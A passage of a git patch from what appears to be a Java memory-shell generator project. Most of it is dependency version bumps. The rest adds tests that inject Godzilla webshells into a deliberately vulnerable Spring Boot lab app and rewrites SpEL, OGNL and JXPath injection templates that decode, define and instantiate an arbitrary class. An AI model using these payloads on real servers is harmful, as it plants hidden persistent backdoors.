"@rollup/rollup-openharmony-arm64": "4.53.3", "@rollup/rollup-win32-arm64-msvc": "4.53.3", "@rollup/rollup-win32-ia32-msvc": "4.53.3", "@rollup/rollup-win32-x64-gnu": "4.53.3", "@rollup/rollup-win32-x64-msvc": "4.53.3", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA=="], @@ -1267,15 +1268,15 @@ "supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="], - "tailwind-merge": ["tailwind-merge@3.5.0", "", {}, "sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A=="], + "tailwind-merge": ["tailwind-merge@3.6.0", "", {}, "sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w=="], - "tailwindcss": ["tailwindcss@4.2.4", "", {}, "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA=="], + "tailwindcss": ["tailwindcss@4.3.0", "", {}, "sha512-y6nxMGB1nMW9R6k96e5gdIFzcfL/gTJRNaqGes1YvkLnPVXzWgbqFF2yLC0T8G774n24cx3Pe8XrKoniCOAH+Q=="], - "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="], + "tapable": ["tapable@2.3.3", "", {}, "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A=="], "tiny-case": ["tiny-case@1.0.3", "", {}, "sha512-Eet/eeMhkO6TX8mnUteS9zgPbUMQa4I6Kkp5ORiBD5476/m+PIRiumP5tmh5ioJpH7k51Kehawy2UDfsnxxY8Q=="], - "tinyexec": ["tinyexec@1.1.1", "", {}, "sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg=="], + "tinyexec": ["tinyexec@1.2.2", "", {}, "sha512-M/Q0B2cp4K7kynaT/vnED1j8TlLY+Pp7C6Wl2bl/7u/F0mUVwdyOpwomQb8JpYLitHUssAJRmLZdMCGsrx7i+g=="], "tinyglobby": ["tinyglobby@0.2.16", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg=="], @@ -1299,7 +1300,7 @@ "typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="], - "undici-types": ["undici-types@7.19.2", "", {}, "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg=="], + "undici-types": ["undici-types@7.24.6", "", {}, "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg=="], "unified": ["unified@11.0.5", "", { "dependencies": { "@types/unist": "^3.0.0", "bail": "^2.0.0", "devlop": "^1.0.0", "extend": "^3.0.0", "is-plain-obj": "^4.0.0", "trough": "^2.0.0", "vfile": "^6.0.0" } }, "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA=="], @@ -1339,7 +1340,7 @@ "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], - "vite": ["vite@8.0.10", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.10", "rolldown": "1.0.0-rc.17", "tinyglobby": "^0.2.16" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.1.0", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-rZuUu9j6J5uotLDs+cAA4O5H4K1SfPliUlQwqa6YEwSrWDZzP4rhm00oJR5snMewjxF5V/K3D4kctsUTsIU9Mw=="], + "vite": ["vite@8.0.14", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.15", "rolldown": "1.0.2", "tinyglobby": "^0.2.16" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.1.18", "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-s4BJJ+5y1pYL6Otw51FHhVJQhPnuRinKig64g/1+EUNaJsd3gCKdD31IPFvswUgW9/60QT9oFHbZHbQK5imcxw=="], "vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="], @@ -1367,7 +1368,7 @@ "yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="], - "zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], + "zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="], "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], @@ -1419,6 +1420,8 @@ "boxen/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="], + "browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="], + "chalk-template/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], "compression/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], @@ -1538,5 +1541,7 @@ "vite-node/vite/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.12", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="], "vite-node/vite/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="], + + "vite-node/vite/postcss/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], } } diff --git a/web/package.json b/web/package.json index cafae0c7..b550e592 100644 --- a/web/package.json +++ b/web/package.json @@ -14,52 +14,53 @@ "fmt:check": "oxfmt --check" }, "dependencies": { - "@base-ui/react": "^1.4.1", - "@hookform/resolvers": "^5.2.2", + "@base-ui/react": "^1.5.0", + "@hookform/resolvers": "^5.4.0", "@orama/orama": "^3.1.18", "@orama/stopwords": "^3.1.18", "@orama/tokenizers": "^3.1.18", - "@react-router/node": "^7.14.2", - "@tanstack/react-query": "^5.100.5", + "@react-router/node": "^7.15.1", + "@tanstack/react-query": "^5.100.14", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.38.0", - "fumadocs-core": "^16.8.4", - "fumadocs-mdx": "14.3.1", - "fumadocs-ui": "16.8.4", - "i18next": "^26.0.8", - "isbot": "^5.1.39", - "lucide-react": "^1.11.0", - "motion": "^12.38.0", - "react": "^19.2.5", + "framer-motion": "^12.40.0", + "fumadocs-core": "^16.9.1", + "fumadocs-mdx": "15.0.8", + "fumadocs-ui": "16.9.1", + "i18next": "^26.2.0", + "isbot": "^5.1.40", + "lucide-react": "^1.16.0", + "motion": "^12.40.0", + "react": "^19.2.6", "react-copy-to-clipboard": "^5.1.1", - "react-dom": "^19.2.5", - "react-hook-form": "^7.74.0", - "react-i18next": "^17.0.4", - "react-medium-image-zoom": "^5.4.3", + "react-dom": "^19.2.6", + "react-hook-form": "^7.76.1", + "react-i18next": "^17.0.8", + "react-medium-image-zoom": "^5.4.5", "react-syntax-highlighter": "^16.1.1", "sonner": "^2.0.7", - "tailwind-merge": "^3.5.0", + "tailwind-merge": "^3.6.0", "tw-animate-css": "^1.4.0", "yup": "^1.7.1" }, "devDependencies": { - "@react-router/dev": "^7.14.2", - "@tailwindcss/vite": "^4.2.4", + "@react-router/dev": "^7.15.1", + "@tailwindcss/vite": "^4.3.0", "@types/mdx": "^2.0.13", - "@types/node": "^25.6.0", - "@types/react": "^19.2.14", + "@types/node": "^25.9.1", + "@types/react": "^19.2.15", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", "@types/react-syntax-highlighter": "^15.5.13", - "oxfmt": "^0.46.0", - "oxlint": "^1.61.0", + "baseline-browser-mapping": "^2.10.32", + "oxfmt": "^0.51.0", + "oxlint": "^1.66.0", "react-router-devtools": "^6.2.0", "rimraf": "^6.1.3", "serve": "^14.2.6", - "tailwindcss": "^4.2.4", + "tailwindcss": "^4.3.0", "typescript": "^6.0.3", - "vite": "^8.0.10", + "vite": "^8.0.14", "vite-plugin-devtools-json": "^1.0.0", "vite-tsconfig-paths": "^6.1.1" } From eebec85e88592e9137920cff8d22e613915e1392 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 21:17:15 +0800 Subject: [PATCH 7/9] fix: SpELGzipPacker class not found --- .../workflows/memshell-integration-test.yml | 2 +- .github/workflows/probe-integration-test.yml | 2 +- .../javaweb/integration/ContainerTool.java | 1 + .../SpringBoot359ContainerTest.java | 90 +++++++++++++ .../SpringBoot359ExpressionContainerTest.java | 71 ++++++++++ .../SpringBoot3ExpressionContainerTest.java | 2 - .../jxpath/JXPathSpringGzipJDK17Packer.java | 2 +- .../ognl/OGNLSpringGzipJDK17Packer.java | 2 +- .../spel/SpELSpringGzipJDK17Packer.java | 2 +- settings.gradle.kts | 1 + vul/vul-springboot359/Dockerfile | 8 ++ vul/vul-springboot359/build.gradle.kts | 29 +++++ .../javaweb/vul/springboot3/ClassDefiner.java | 10 ++ .../VulSpringboot3Application.java | 12 ++ .../Base64ClassLoaderController.java | 24 ++++ .../BigIntegerClassLoaderController.java | 24 ++++ .../controller/IndexController.java | 123 ++++++++++++++++++ .../controller/JDBCController.java | 31 +++++ .../controller/JXPathController.java | 20 +++ .../controller/OgnlController.java | 25 ++++ .../controller/SpELController.java | 25 ++++ .../src/main/resources/application.properties | 1 + .../src/test/java/CommandExec.java | 15 +++ .../src/test/java/JDBCTest.java | 54 ++++++++ 24 files changed, 569 insertions(+), 7 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java create mode 100644 vul/vul-springboot359/Dockerfile create mode 100644 vul/vul-springboot359/build.gradle.kts create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java create mode 100644 vul/vul-springboot359/src/main/resources/application.properties create mode 100644 vul/vul-springboot359/src/test/java/CommandExec.java create mode 100644 vul/vul-springboot359/src/test/java/JDBCTest.java diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index ba645153..0c992fd2 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -43,7 +43,7 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" - middleware: "springwebflux" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" - middleware: "xxljob" diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index 0efa4cf1..6319d70b 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -41,7 +41,7 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" - middleware: "struts2" depend_tasks: ":vul:vul-struts2:war" runs-on: ubuntu-22.04 diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index d8870486..a1df007d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -25,6 +25,7 @@ public class ContainerTool { public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath()); public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath()); public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); + public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java new file mode 100644 index 00000000..00e91bd8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java @@ -0,0 +1,90 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +public class SpringBoot359ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot359JarFile) + .jakarta(true) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER + )) + .build(); + + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName("springboot3") + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, +// ShellType.LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + static Stream tomcatCasesProvider() { + return generateTestCases(TOMCAT_CONFIG); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("tomcatCasesProvider") + void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); + } + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java new file mode 100644 index 00000000..527d1a04 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot359ExpressionContainerTest { + public static final String imageName = "springboot3"; + + @Container + public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk") + .withCopyFileToContainer(springBoot359JarFile, "/app/app.jar") + .withCommand("java -jar /app/app.jar") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + ); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java index 791e80b8..f58e1a84 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java index 39d6eea2..20650255 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java @@ -11,7 +11,7 @@ * @since 2024/12/13 */ public class JXPathSpringGzipJDK17Packer implements Packer { - String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))"; + String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))"; @Override public String pack(ClassPackerConfig config) { diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java index 359db4c1..24465adf 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java @@ -12,7 +12,7 @@ * @since 2025/7/7 */ public class OGNLSpringGzipJDK17Packer implements Packer { - String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()"; + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()"; @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java index 8b6f47cb..caf5ea8a 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java @@ -9,7 +9,7 @@ * @since 2024/12/13 */ public class 